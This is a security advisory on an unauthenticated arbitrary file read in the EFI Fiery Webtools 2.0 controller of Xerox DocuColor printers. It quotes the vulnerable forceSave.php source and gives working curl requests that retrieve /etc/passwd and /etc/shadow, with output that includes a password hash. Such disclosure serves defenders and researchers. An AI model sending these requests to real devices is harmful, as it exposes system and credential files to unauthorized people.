Xerox DC260 EFI Fiery Controller Webtools 2.0 Arbitrary File Disclosure

2017.12.28
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Xerox DC260 EFI Fiery Controller Webtools 2.0 Arbitrary File Disclosure Vendor: Electronics for Imaging, Inc. Product web page: http://www.efi.com Affected version: EFI Fiery Controller SW2.0 Xerox DocuColor 260, 250, 242 Summary: Drive production profitability with Fiery servers and workflow products. See which Fiery digital front end is right for your current or future print engines and business needs. Manage all your printers from a single screen using this intuitive print job management interface. Desc: Input passed thru the 'file' GET parameter in 'forceSave.php' script is not properly sanitized before being used to read files. This can be exploited by an unauthenticated attacker to read arbitrary files on the affected system. ====================================================================== /wt3/js/save.js: ---------------- 103: function parseSaveMessages() { 104: var urlNode = saveDocument.getElementsByTagName('url').item(0); 105: var url = urlNode.firstChild.data; 106: var forcedSaveUrl = "forceSave.php?file=" + url; 107: window.open(forcedSaveUrl, 'save_iframe', 'width=1,height=1'); ==== /wt3/forceSave.php: ------------------- 1. <?php 2. //code posted by chrisputnam at gmail dot com 3. function readfile_chunked($filename,$retbytes=true) 4. { 5. $chunksize = 1*(1024*1024); // how many bytes per chunk 6. $buffer = ''; 7. $cnt =0; 8. // $handle = fopen($filename, 'rb'); 9. $handle = fopen($filename, 'rb'); 10. if ($handle === false) 11. { 12. return false; 13. } 14. while (!feof($handle)) 15. { 16. //read a chunk 17. $buffer = fread($handle, $chunksize); 18. //send the chunk 19. echo $buffer; 20. //flush the chunk 21. flush(); 22. //increment the size read/sent 23. if ($retbytes) 24. { 25. $cnt += strlen($buffer); 26. } 27. } 28. //close file 29. $status = fclose($handle); 30. if ($retbytes && $status) 31. { 32. return $cnt; // return num. bytes delivered like readfile() does. 33. } 34. return $status; 35. } 36. 37. $filename = $_GET['file']; 38. if(!$filename) 39. { 40. echo "ERROR: No filename specified. Please try again."; 41. } 42. else 43. { 44. // fix for IE caching or PHP bug issue 45. header("Pragma: public"); 46. header("Expires: 0"); // set expiration time 47. header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); 48. // browser must download file from server instead of cache 49. 50. // force download dialog 51. header("Content-Type: application/force-download"); 52. header("Content-Type: application/octet-stream"); 53. header("Content-Type: application/download"); 54. 55. // use the Content-Disposition header to supply a recommended filename and 56. // force the browser to display the save dialog. 57. header("Content-Disposition: attachment; filename=" . basename($filename) . ";"); 58. header("Content-Transfer-Encoding: binary"); 59. 60. header("Content-Length: " . filesize($filename)); 61. 62. set_time_limit(0); 63. readfile_chunked($filename, false); 64. 65. exit(); 66. } 67. 68. ?> ====================================================================== Tested on: Debian GNU/Linux 3.1 Apache PHP/5.4.41 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2017-5447 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5447.php 20.12.2017 -- # curl "http://10.0.0.19/wt3/forceSave.php?file=/etc/passwd" root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:100:sync:/bin:/bin/sync games:x:5:100:games:/usr/games:/bin/sh ... ... # curl "http://10.0.0.19/wt3/forceSave.php?file=/etc/shadow" root:LUUVeT6GbOy9I:10978:0:99999:7::: daemon:*:10979:0:99999:7::: bin:*:10979:0:99999:7::: sys:*:10979:0:99999:7::: sync:*:10979:0:99999:7::: games:*:10979:0:99999:7::: ... ...


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